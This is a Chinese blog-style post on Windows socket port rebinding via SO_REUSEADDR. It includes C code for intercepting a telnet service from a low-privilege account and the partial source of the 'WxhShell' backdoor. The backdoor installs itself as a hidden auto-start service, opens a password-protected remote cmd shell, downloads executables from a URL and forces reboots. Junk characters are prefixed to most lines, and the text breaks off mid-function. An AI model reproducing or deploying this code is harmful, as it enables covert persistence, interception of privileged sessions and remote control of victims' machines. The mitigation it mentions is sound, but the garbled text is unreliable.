在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qm=9!jqC; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Nc(A5* +jGUp\h%9; saddr.sin_family = AF_INET;
Vx n- 1ww~!R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MLmk=&d X=k|SayE8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gi/W3q3c6 8?o{{ay 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i,y{*xBT :y!{=[>M( 这意味着什么?意味着可以进行如下的攻击:
*ul-D42!U UXS+GAWU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
p!(]`N cPl$N5/5 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
cc3+Wx_ _ =(v? 2:? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
K+U0YMRmz m?)F@4] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ns[h_g!j; *^%ohCUi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%G] W Oq=q P9# }aw+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<
$rXQ J\ ? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
LC/%AbM q[.,i{2R} #include
=co6.Il #include
38RyUHL= #include
Or()AzwE@ #include
0^MRPE|f5 DWORD WINAPI ClientThread(LPVOID lpParam);
M`G#cEc int main()
&Mh]s\ {
2CPh'7|l WORD wVersionRequested;
_4t DWORD ret;
k'd=|U;(FV WSADATA wsaData;
9\R+g5 BOOL val;
v$|cF'yyF= SOCKADDR_IN saddr;
yu'@gg(
SOCKADDR_IN scaddr;
O/f+B}W int err;
Ar$Am SOCKET s;
OxVe}Fym SOCKET sc;
>uz3 O?z P int caddsize;
9C1\?)"D^e HANDLE mt;
l9$"zEC DWORD tid;
[Kanj/ wVersionRequested = MAKEWORD( 2, 2 );
Y{dj~}mM+ err = WSAStartup( wVersionRequested, &wsaData );
)!D,;,aQ if ( err != 0 ) {
#Bas+8
@, printf("error!WSAStartup failed!\n");
{X&H return -1;
wb-_CQ }
Mg{=(No saddr.sin_family = AF_INET;
1&YkRCn0 pU@&- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@w[HXb bjs{_? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
V)Y#m/$` saddr.sin_port = htons(23);
*f+DV[DF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<a%RKjQvT {
{c AGOx wd printf("error!socket failed!\n");
+zsB ~Vz return -1;
k iY1 }
Ne2eBmY}( val = TRUE;
s `
+cQ //SO_REUSEADDR选项就是可以实现端口重绑定的
vF$sVu|B if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E$E#c8I: {
fUS1` printf("error!setsockopt failed!\n");
iXuSFman return -1;
H}}C>p"!, }
7a<:\F}E0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IdWFG?b3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0\yA6`}! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+Rd;>s*.Y `9p;LZC1 K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a.s5>:Ct {
g,5Tr_ ret=GetLastError();
zM|Y
X< printf("error!bind failed!\n");
C.9l${QU return -1;
ABnJ{$=n# }
_{YUWV50} listen(s,2);
Vqxxm&^P while(1)
7,Q>>%/0P {
:^992]EBEj caddsize = sizeof(scaddr);
Q)\4 .d //接受连接请求
p6W|4_a? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`-82u :" if(sc!=INVALID_SOCKET)
J0x)NnWJ {
77p8|63 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
p u6@X7W" if(mt==NULL)
3 etW4 {
GC^>oF printf("Thread Creat Failed!\n");
o0F&,|' break;
di]TS9&9 }
5X,|Pn }
#w#:f CloseHandle(mt);
_tQR3I5 }
Lk1e{!a closesocket(s);
JWvL WSACleanup();
@PyZ u7' return 0;
|#`qP^E }
JY6^pC}* DWORD WINAPI ClientThread(LPVOID lpParam)
K)F6TvWv {
]?a i SOCKET ss = (SOCKET)lpParam;
4b:q84 SOCKET sc;
<e@+w6Kp'7 unsigned char buf[4096];
QL`Hb p SOCKADDR_IN saddr;
MPD<MaW$ long num;
xv>]e <": DWORD val;
XMw*4j2E DWORD ret;
='<789wT //如果是隐藏端口应用的话,可以在此处加一些判断
QNm8`1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j)b[7% saddr.sin_family = AF_INET;
gano>W0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i9j#Tu93 f saddr.sin_port = htons(23);
fu $<*Sa2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<#F@OU {
TnQ"c)ta printf("error!socket failed!\n");
X6SWcJtSw return -1;
J>p6')Y6~ }
nv/'C=+L val = 100;
$ucA.9pJ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M A {
:SvgXMY@ ret = GetLastError();
z6;6 o!ej return -1;
'nSo0cyQ }
h0)Dj(C if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k}FmdaPI' {
I::|d,bR! ret = GetLastError();
|!E: [UH return -1;
JBt2R= }
$bsD'Io if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
S>V+IKW;( {
QSSA) printf("error!socket connect failed!\n");
T?HW=v_a closesocket(sc);
}YCpd )@ closesocket(ss);
0<#>LWaM_ return -1;
=C 7 WQ }
LeaJ).Maw while(1)
xY>@GSO1 {
rc`}QoB)R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_ UGR+0'Q\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
z~(3S8$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H?_>wQj& num = recv(ss,buf,4096,0);
pq$-s7# if(num>0)
hU6oWm send(sc,buf,num,0);
H<Ik.]m
else if(num==0)
M)1Y7?r] break;
}WDzzjDR+ num = recv(sc,buf,4096,0);
x>$e* if(num>0)
]+A%37 send(ss,buf,num,0);
7-# else if(num==0)
#Ic)]0L break;
+o-jMvK9 }
o&ETs)n| closesocket(ss);
+^|_vq^XR closesocket(sc);
Lv
UQ&NmY return 0 ;
T7~H|% }
@L?KcGD '8w>=9Xl AX;!-|bW ==========================================================
)9i$ 1"a( MUn(ZnQy| 下边附上一个代码,,WXhSHELL
|ya.c\}q #pcgfVl ==========================================================
W`v$-o- R9\ )a2 #include "stdafx.h"
Yhte&,D" 5XoM) #include <stdio.h>
h?'~/@ #include <string.h>
'e/wjV #include <windows.h>
@L$!hTaP #include <winsock2.h>
dVe,;?+A #include <winsvc.h>
%y_{?|+ #include <urlmon.h>
TyhO+; GRh430V[ #pragma comment (lib, "Ws2_32.lib")
50""n7I<% #pragma comment (lib, "urlmon.lib")
H)+QkQb} w)C5XX30; #define MAX_USER 100 // 最大客户端连接数
/V
GI@"^v #define BUF_SOCK 200 // sock buffer
1]69S( #define KEY_BUFF 255 // 输入 buffer
Kf1NMin7 +\]Gu(z< #define REBOOT 0 // 重启
[ylRq7^e #define SHUTDOWN 1 // 关机
7YFEyX10d /mXxj93UA #define DEF_PORT 5000 // 监听端口
stQ_Ke Swr4De_5 #define REG_LEN 16 // 注册表键长度
QQJf;p7 #define SVC_LEN 80 // NT服务名长度
-}3nIk<N Vh{(*p // 从dll定义API
Z@(KZ| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5]xSK'6W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R$X~d8o>% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u4j"U6"]M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}O Y/0p-Z 0X3yfrim // wxhshell配置信息
Y (pUd3y struct WSCFG {
Zm0' p! int ws_port; // 监听端口
5th?m> char ws_passstr[REG_LEN]; // 口令
$,P:B%] int ws_autoins; // 安装标记, 1=yes 0=no
=f!clhO char ws_regname[REG_LEN]; // 注册表键名
,u>[cRqw char ws_svcname[REG_LEN]; // 服务名
@VPmr}p:{ char ws_svcdisp[SVC_LEN]; // 服务显示名
.+,U9e:% char ws_svcdesc[SVC_LEN]; // 服务描述信息
d6W\
\6V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
`Qjs{H int ws_downexe; // 下载执行标记, 1=yes 0=no
IVY)pS"pR" char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4jt(tZS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
VD<z]@ cPv(VjS1; };
3{fg3? qV6WT&)T // default Wxhshell configuration
]f0OmUHR5i struct WSCFG wscfg={DEF_PORT,
]IE Z?+F, "xuhuanlingzhe",
m7DKC, 1,
#*:^\z_Jd "Wxhshell",
N<1+aL\ "Wxhshell",
Q;J(
5; "WxhShell Service",
zCuB+r=C "Wrsky Windows CmdShell Service",
4Y$\QZO "Please Input Your Password: ",
le]~Cy0 1,
2j}DI"|h "
http://www.wrsky.com/wxhshell.exe",
vFB^h1k~.M "Wxhshell.exe"
15hqoo9! };
#=={h?UDT pQK SPr // 消息定义模块
=MMd& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}zx
~ char *msg_ws_prompt="\n\r? for help\n\r#>";
VX&PkGi?o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_bi)d201 char *msg_ws_ext="\n\rExit.";
SI=u-'% char *msg_ws_end="\n\rQuit.";
NB4O,w char *msg_ws_boot="\n\rReboot...";
PO?_i>mA char *msg_ws_poff="\n\rShutdown...";
r5Tdp)S char *msg_ws_down="\n\rSave to ";
A4cOnG,
HA*L*:0 char *msg_ws_err="\n\rErr!";
,T`,OZm char *msg_ws_ok="\n\rOK!";
y?3.W ,|B-Nq char ExeFile[MAX_PATH];
H#DvCw int nUser = 0;
8'HS$J;C HANDLE handles[MAX_USER];
tKeTHj;jO int OsIsNt;
q;") OU"%,&J SERVICE_STATUS serviceStatus;
? ep#s$i SERVICE_STATUS_HANDLE hServiceStatusHandle;
bD{k=jum f+Sb>$ // 函数声明
-~|{q)!F int Install(void);
c#sHnpP int Uninstall(void);
YT
Zi[/ int DownloadFile(char *sURL, SOCKET wsh);
V@!)Pw int Boot(int flag);
4uo`XJuQ void HideProc(void);
[104;g < int GetOsVer(void);
Iz5NA0[=2 int Wxhshell(SOCKET wsl);
>
:IWRc2 void TalkWithClient(void *cs);
NOuG# P int CmdShell(SOCKET sock);
D**GC int StartFromService(void);
Cq"KKuf int StartWxhshell(LPSTR lpCmdLine);
hU8Y&R)=9 `X}:(O^GO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
0n}13u=} VOID WINAPI NTServiceHandler( DWORD fdwControl );
r~lZ8$KC P}Kgh7)3 // 数据结构和表定义
0{|HRiQH9+ SERVICE_TABLE_ENTRY DispatchTable[] =
k=hWYe$iAz {
`daqzn {wscfg.ws_svcname, NTServiceMain},
iU;e!\A {NULL, NULL}
WXl+w7jr };
)&Oc7\J, \ph.c*c // 自我安装
>w@+cUto int Install(void)
=O![>Fu5 {
@)?]u
U"L char svExeFile[MAX_PATH];
?
T6K]~g HKEY key;
6t6Z&0$h~ strcpy(svExeFile,ExeFile);
|4Q*4s 9)ALJd,M // 如果是win9x系统,修改注册表设为自启动
)ODF6Ag if(!OsIsNt) {
]~KLdgru_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_XV%}Xb' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vRmn61 RegCloseKey(key);
jdP)y]c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LdV&G/G-#D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t>I.1AS RegCloseKey(key);
iqQT ^
return 0;
8w&-O~M }
$/++afim }
_`|1B$@x }
'J|)4OG: else {
]
3"t]U'f z%%O-1 // 如果是NT以上系统,安装为系统服务
"6$V1B0KW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@h%V:c if (schSCManager!=0)
)U?_&LY)[M {
'4[=*!hs! SC_HANDLE schService = CreateService
* x/!i^ (
wZiUzS;v schSCManager,
:$MOdL[ir wscfg.ws_svcname,
I6W`yh`I) wscfg.ws_svcdisp,
zTF{ g+ SERVICE_ALL_ACCESS,
O?JJE8~'] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#) aLD0p SERVICE_AUTO_START,
1cLtTE SERVICE_ERROR_NORMAL,
;*<tU
n^t svExeFile,
W)In.?>]W NULL,
\k.`xG? NULL,
H5=kDkb NULL,
bbK};u NULL,
lLx!_h NULL
q@|+`>h );
n/+X3JJ if (schService!=0)
/BL:"t@- {
~RhUg~o CloseServiceHandle(schService);
#jQauO CloseServiceHandle(schSCManager);
J7+G"_)' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+I3jI < strcat(svExeFile,wscfg.ws_svcname);
UN]gn>~j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K,E/.Qe\C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A`c%p7Z% RegCloseKey(key);
Ps!MpdcL3 return 0;
;c(a)_1 }
SB_Tzp }
{PHH1dC{ CloseServiceHandle(schSCManager);
"|SMRc }
2/LSB8n| }
k~Ex_2;# ,N.8 return 1;
wVs?E }
-@W9+Zf5 ,fkvvM{mq // 自我卸载
Td=4V,BN int Uninstall(void)
-8TJ:#|N {
#~*v##^vFH HKEY key;
)h{&O
,s $)i`!7`4= if(!OsIsNt) {
25Dl4<-Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
22`^Rsb,6L RegDeleteValue(key,wscfg.ws_regname);
Gm=qn]c RegCloseKey(key);
9wgB JJl7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<n2@;`D RegDeleteValue(key,wscfg.ws_regname);
M";qo6 RegCloseKey(key);
Q]:O#;"< return 0;
diq}\'f
}
{%V(Dd[B6 }
~ZHjP_5Q }
n
~t{]if" else {
FaL\6w
*LT~:Gs# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
WJShN~ E if (schSCManager!=0)
DD|0?i {
;FPx SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9mF' if (schService!=0)
I= mz^c{ {
hnnB4]c if(DeleteService(schService)!=0) {
gD,&TW CloseServiceHandle(schService);
?YhDjQs CloseServiceHandle(schSCManager);
L.Y3/H_ return 0;
kB7vc>@1 }
4ot<Uw5 CloseServiceHandle(schService);
%()d$.F }
%go2tv:|W CloseServiceHandle(schSCManager);
)H8_.]| }
FXQWT9Kk~_ }
ke4E1T-1n LCF}Y{ return 1;
j]u!;] }
\Z-th,t KkvcZs'4m // 从指定url下载文件
L4By5) int DownloadFile(char *sURL, SOCKET wsh)
o3J#hQrl {
H;Wrcf2 HRESULT hr;
O[@!1SKT0 char seps[]= "/";
xQoZ[ char *token;
u?osX;'w char *file;
Ltlp9 S char myURL[MAX_PATH];
w:&""'E char myFILE[MAX_PATH];
2M
%j-yG" W5*ldXXk strcpy(myURL,sURL);
5{c;I<0 token=strtok(myURL,seps);
fPR_3qgQ while(token!=NULL)
u[>"_!T {
^Hd[+vAvR file=token;
]l,BUf-O token=strtok(NULL,seps);
&D,Iwq }
PmR].Ohzi L9GLjRp- GetCurrentDirectory(MAX_PATH,myFILE);
DUp`zW;B strcat(myFILE, "\\");
S?J!.( strcat(myFILE, file);
S{c/3k~ send(wsh,myFILE,strlen(myFILE),0);
d&AG~,&d| send(wsh,"...",3,0);
6h 0qtXn- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OO:S2-]Y>e if(hr==S_OK)
a:FU- ^B4~ return 0;
N*Y[[N( else
pUIN`ya[[ return 1;
5ggyk0 $?= $F }
727#7Bo I
_nQTWcm // 系统电源模块
B#K gU&Loo int Boot(int flag)
MxTJgY {
"?"
: HANDLE hToken;
<Q[%:LD TOKEN_PRIVILEGES tkp;
r,5e/X ,=/9Ld2w9 if(OsIsNt) {
,Py\Cp=Dw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Sd+5Uf` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qv!(In>u tkp.PrivilegeCount = 1;
K#3^GB3P tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7 N}@zPAZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
7Cz~nin>7 if(flag==REBOOT) {
l*CulVX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|J$A%27 return 0;
Xdvd\H= }
;-d b/$O else {
d$ouH%^cGu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
&RR;'wLoQT return 0;
WQ|Ufl; }
$^x=i;>aK. }
Fh~9(Y# else {
*5'8jC"2g if(flag==REBOOT) {
"4b{YWv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o&JoeKXor return 0;
,!=
sGUQ) }
5Tsz|k else {
Kz'GAm\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
FZ*"^=)`G return 0;
2&hv6Y1 }
r=j?0k '}] }
5ibr1zs Yy~x`P'g! return 1;
e$LC }
9Po>laT
5 8mX!mYO3c // win9x进程隐藏模块
+3,7 Apj void HideProc(void)
AD;m[u7 {
:Drf]D(sMX vJE=H9E HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RDps{),E;d if ( hKernel != NULL )
k>i88^kPV {
S|tD8A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z%~}*F}7X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^B"LT>.[ FreeLibrary(hKernel);
(Mc{nFqS }
!t% 1G. P|NGAd return;
5BrN
uR$ }
ju2H0AQ Tzd#!Lvm:, // 获取操作系统版本
>~g- int GetOsVer(void)
=Jp:dM* {
PqspoH
0OI OSVERSIONINFO winfo;
9Og winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Wvb ~j GetVersionEx(&winfo);
6;E3|st1X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:k9T`Aa] return 1;
"8Dm7)nB else
lz^Vi!|p return 0;
uh\G6s!4/ }
5K
Ij}VN
(N/u@ M // 客户端句柄模块
=Ti!9_~ int Wxhshell(SOCKET wsl)
+S+!:IB {
II'.vp SOCKET wsh;
fhi}x( struct sockaddr_in client;
O0}uY:B DWORD myID;
7\@c1e*e
IlJ"t`Z9) while(nUser<MAX_USER)
:1d;jx> {
<gPM/4$G int nSize=sizeof(client);
8kK L= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
k;qS1[a if(wsh==INVALID_SOCKET) return 1;
CG uuadNI #x 6/"Y2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Up
Z 9g" if(handles[nUser]==0)
+*OAClt+] closesocket(wsh);
q:_:E*o else
Aa-5k3:x]= nUser++;
jd]L}%ax }
Q7amp:JFb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H~*N:$C 0H rvr return 0;
hq"nRH }
;$tdn?| @de ZZ // 关闭 socket
pZ Uy ( void CloseIt(SOCKET wsh)
ts=D {
}:?*n:g5 closesocket(wsh);
DXJw)%G
w nUser--;
"tT4Cb3 ExitThread(0);
*BxU5)O }
5VE=Oo#&
/$93#$ // 客户端请求句柄
J"#6m&R_q void TalkWithClient(void *cs)
sudh=_+> {
&$ }6: MoxWnJy} SOCKET wsh=(SOCKET)cs;
dkC_Sh{ char pwd[SVC_LEN];
#0)TS char cmd[KEY_BUFF];
6l,6k~Z9 char chr[1];
WiZkIZ int i,j;
N[9o6Nl|a Ri"rT] ' while (nUser < MAX_USER) {
^WU[+H ; R;,5LS&*a if(wscfg.ws_passstr) {
shGUG; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_I)TO_L; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b73}|4v //ZeroMemory(pwd,KEY_BUFF);
S%H"i
y i=0;
&pY$\ while(i<SVC_LEN) {
zvN7aG A46dtFD{ // 设置超时
CUB;0J( fd_set FdRead;
5>dA7j^v struct timeval TimeOut;
[cFD\"gJAr FD_ZERO(&FdRead);
f2tCB1[D+ FD_SET(wsh,&FdRead);
+% <kcc3 TimeOut.tv_sec=8;
A99;bf}" TimeOut.tv_usec=0;
Zk7!CJVM int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Lww&[|k. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
P:J|![ } A6z%|d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
m5/]+xdNX pwd
=chr[0]; [4EIy"
if(chr[0]==0xd || chr[0]==0xa) { Cm5L99Y
pwd=0; DmWa!5
break; S^q^=q0F
} "cS7E5-|
i++; 5k=04=Iyh#
} b4$g$()
aeYz;&K
// 如果是非法用户,关闭 socket e`B!)Sr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DZ`,QWuA
} -5os0G80
(g dzgLHy
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I+Y Z+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N f?\O@
\7UeV:3Ojn
while(1) { q-1vtbn
]}S9KP
ZeroMemory(cmd,KEY_BUFF); ("f~gz<<
R
{-M%n4w
// 自动支持客户端 telnet标准 P;7[5HFF
j=0; od@!WjcM[8
while(j<KEY_BUFF) { R0w~ Z
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *?Oh%.HgF
cmd[j]=chr[0]; Mu.tq~b >
if(chr[0]==0xa || chr[0]==0xd) { e\#aQ1?"
cmd[j]=0; ?(khoL t
break; TJcHqzcUc
} }If,O
j++; \HMuVg'Q
} eMOp}.zt|
%YuFw|wO
// 下载文件 wd,6/5=lh
if(strstr(cmd,"http://")) { >0 := <RW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ](+u'8
if(DownloadFile(cmd,wsh)) rWL&-AZQl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); # b3 14
else _0&U'/cs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RR`\q>|
} Qc Xw -
else { j<?k$8H
n>o=RQ2
switch(cmd[0]) { Kk \,q?
M(} T\R
// 帮助 b^~4 k; <
case '?': { (^ J2(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YyY?<<z%
break; vA?3kfL|#
} q)"yP\
// 安装 P$__c{1\
case 'i': { [7{cf`C
if(Install()) !4"$O@U4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); efyGjfoO
else V' sq'XB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M\08 7k
break; SR4 mbQ:
} j3o?B
// 卸载 }.A
\;FDyj
case 'r': { {o%OG/!1
if(Uninstall()) R|\kk?,u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9KL)5_6 M
else [xDn=)`{V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H9=8nLb.
break; ?,r}@89pY
} u~'j?K.^
// 显示 wxhshell 所在路径 hC!8-uBK5<
case 'p': { ur+ \!y7^R
char svExeFile[MAX_PATH]; O2~Q(q'
strcpy(svExeFile,"\n\r"); "6WE6zq
strcat(svExeFile,ExeFile); _nIt4l7
send(wsh,svExeFile,strlen(svExeFile),0); ]%(X}]}
break; `$] ZT>&
} ib(4Y%U6~
// 重启 uF@DJX}>
case 'b': { p+F>+OQ*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g0s*4E
if(Boot(REBOOT)) 8J0#lu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|1_I?_
else { X<:Zx#J?i
closesocket(wsh); KhNE_.
Z
ExitThread(0); Z"9D1Uk
} rW2
break; j2%M-y4E
} Hy2~D:34
// 关机 ]L!:/k,=S
case 'd': { r4pR[G._
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uclta
if(Boot(SHUTDOWN)) _^NL{R/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cx+%lco!
else { o+T, O+i
closesocket(wsh); $G#)D^-5G
ExitThread(0); . L]!*
} B"Ttr+
break; u[LsH
} 0?,%B?A8O
// 获取shell fsV_>5I6
case 's': { ft Rza
CmdShell(wsh); '8"$:y
closesocket(wsh); Si=u=FI1e
ExitThread(0); ka| 8 _C^z
break; `>\>'V<&
} -h#9sl->
// 退出 @<=<?T>1
case 'x': { 9Z. WR-}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {GQRJ8m
CloseIt(wsh); %g=SkQ&d
break; F44KbUH
} e/y\P&"eI
// 离开 y(=$z/
case 'q': { E3 aj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m 3"|$0C~
closesocket(wsh); ??? ;H
WSACleanup(); +IbQVU~/
exit(1); ivP#qM1*;
break; njBK {
} 7Ezy-x2h
}
m7.6;k.
} qku!Mg
Wt9'-"c
// 提示信息 s92SN F}g
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OVU+V 0w1a
} rI;tMNs
} 0I"r*;9?K
Cc>+OUL
return; Tj,1]_`=V$
} lb<D,&+
61&A`
// shell模块句柄 4Y4QR[>IU3
int CmdShell(SOCKET sock) n_MY69W
{ 9*j$U$:'
STARTUPINFO si; ^z}$'<D9
ZeroMemory(&si,sizeof(si)); NT<vs"<B
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <~-cp61z;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _*LgpZ-2(
PROCESS_INFORMATION ProcessInfo; }(Dt,F`
char cmdline[]="cmd"; >sm<$'vZ/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ig"QwvR
return 0; p2uZ*sY(D
} 0iTh |K0
qfl #ki`,
// 自身启动模式 `w#p8vR
int StartFromService(void) 31k2X81;a
{ clO9l=g
typedef struct h!q_''*;
{ $ {5|{`
DWORD ExitStatus; !ui:0_
DWORD PebBaseAddress;
<5:`tC2
DWORD AffinityMask; &ub0t9R
DWORD BasePriority; @w5x;uB|%G
